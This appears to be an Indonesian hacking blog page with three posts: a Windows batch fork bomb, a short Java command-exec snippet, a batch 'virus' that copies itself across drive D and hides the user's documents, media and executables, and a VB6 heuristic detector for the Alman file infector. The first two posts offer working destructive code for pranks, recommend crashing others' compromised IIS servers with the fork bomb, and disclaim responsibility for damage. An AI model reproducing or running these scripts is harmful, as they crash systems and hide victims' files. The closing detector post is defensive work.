Bikin hang windows hanya dengan 5 karakter (just 5 bytes of file)

Maaf kalo ini repost saya pun juga lupa kalo saya pernah baca ini dimana intinya LUPA..
Setahu saya ini merupakan  virus yang sedikit simple tapi cukup mematikan,.. :D

okee, langsung sajaaa..
Code:
%0|%0

ketik code tersebut di notepad dengan nama terserah anda.bat (harus menggunakan ekstensi .bat) terus kalo yang berani silahkan di coba.. Saya sendiri sih pernah coba dan komputer/laptop anda akan bawel dengan muncul nya memory peringatan 0x? yang error setiap saat, akibat selanjut nya saya sendiri juga kurang tahuu,.. :))


untuk pengembangannya silahkan digabung sama coding VB, C, Java, Perl, PHP, dan lain2 .. tentunya .BAT juga ..
buat yang hobi ngancurin server orang .. kalo nemu server IIS/windows yang udah ditanemin shell coba aja pake ini .. mungkin si server lgsng !CRASH! hehehehe





Code: 
import java.io.*;
public class ffaaddiill {
   static String m = "cmd /C msg * shinobi_master_was_here";
   public static void main(String []args)throws IOException {
      ffaaddiill zombie = new ffaaddiill();
      Runtime.getRuntime().exec(zombie.m);
   }
}

buat yg males nulis program nya.. monggo lgs sedot aja.. 

Read More

Belajar Bikin Virus

wkwk.. iseng2 bro.. mari dicoba..tp kerusakan akibat coba2 aku g tanggung jawab lho ya.. cuma ising aja.. :p

PHP Code:
@echo offfor /r "D:\" %%a in (*.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll) do (
   copy %0 "%%~rahasia.bat" && attrib +s +h "%%~fa"
)
@echo off 



save dengan "namafile".bat (hilangkan "")
jangan lupa bawah nya all files

ini merusak file *.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll yang ada didalam local disk D
dan membua file rahasia.bat di disk D
secara sembunyi" menanti..

 kl berminat download script ny silahkan klik di sini.. INGAT!! SEGALA BENTUK KERUSAKAN SAYA TIDAK BERTANGGUNG JAWAB

Read More

Mendeteksi Virus Alman

Kalian udah tau kan apa itu virus ALMAN ?

ya tu virus di kategorikan virus berbahaya,virus ini bisa meng-injeksi file dengan extensi ".exe,.dll"

file yang udah terinfeksi otomatis berubah menjadi file zombie karena pada file itu sudah disisipi kode virus agar saat file yang terinfeksi di jalankan,kode virus itu juga ikut di jalankan .

bagi agan" developer antivirus,mendeteksi virus alman juga tidak menggunakan cara yang biasa seperti menggunakan checksum
( Md5,Crc32,SHA256,dll )

kalau masih nekat mau make checksum andai saja 2 byte kegeser juga udah ga akan ke detect lagi file nya

karena file yang akan di infeksi si virus kan akan selalu beda ukurannya,ga akan mungkin sama.
so jalan keluar nya adalah menggunakan heuristic,
walaupun heuristic yang bakal ane share disini masih menggunakan metode read string,tapi cara ini ane akuin ampuh buat mendeteksi alman Variant A & B
algoritma nya begini :
Awalnya besar file yang ingin di check di hitung dulu,
apabila file yang akan di check besar nya file nya > 40 KB file di buka lalu di baca isinya dan dicek apakah file nya mengandung string yang tersimpan pada program pendeteksi alman tersebut.
dengan posisi dari ( Besar file terinfeksi - 40 Kb ) & string dalam file sama dengan string yang tersimpan, ini file sudah pasti di infeksi oleh alman

Langsung ajaa yok, TKP..
pertama buka dulu program visual basic nya ,

lalu tambahkan :
1 Buah command button
1 Buah Text Box


masukan code ini pada form
Private Function CekSiAlman(Dimana As String) As Boolean
On Error Resume Next
Static TextExenya As String
Static GedeFileNya As Long
GedeFileNya = FileLen(Dimana)
If GedeFileNya > 40970 Then
    TextExenya = MariMembaca(Dimana)
    If InStr(TextExenya, "¯EI5œ‚ÞùWç‘Ï") > (GedeFileNya - 40970) Then 'lalu balikan jadikan fungsi ceksialman menjadi true
        CekSiAlman = True
    Else
        CekSiAlman = False
    End If
Else
    CekSiAlman = False
End If
End Function

Private Function CekSiAlmanB(Dimana As String) As Boolean
On Error Resume Next
Static TextExenya As String
Static GedeFileNya As Long
GedeFileNya = FileLen(Dimana)
If GedeFileNya > 40970 Then
    TextExenya = MariMembaca(Dimana)
    If InStr(TextExenya, "µí§¶ýÚÿ×Ðþÿÿ·hþÿÿÿÿÿï¡ùÿÿÿÿÿÿÿÿÿÿÿÿ") > (GedeFileNya - 40970) Then
        CekSiAlmanB = True
    Else
        CekSiAlmanB = False
    End If
Else
    CekSiAlmanB = False
End If
End Function

Private Function MariMembaca(Targetnya As String) As String
Static sTemp As String
Open Targetnya For Binary As #1
    sTemp = Space(LOF(1))
    Get #1, , sTemp
Close #1
MariMembaca = sTemp
End Function
lalu pada command buttonnya masukan text ini
MsgBox "Positif Terinfeksi : " & CekSiAlman(Text1.Text), vbExclamation, "Hasil"

semoga thread ini berguna bagi agan" yang sedang mengembangkan antivirus,supaya antivirus agan bisa mendeteksi file" virus infector..

kl temen2 belum paham..dan males utak atik program Vb bisa langsut sedot aja gan.. monggo 



Thx for HM-TEAM.. 

Read More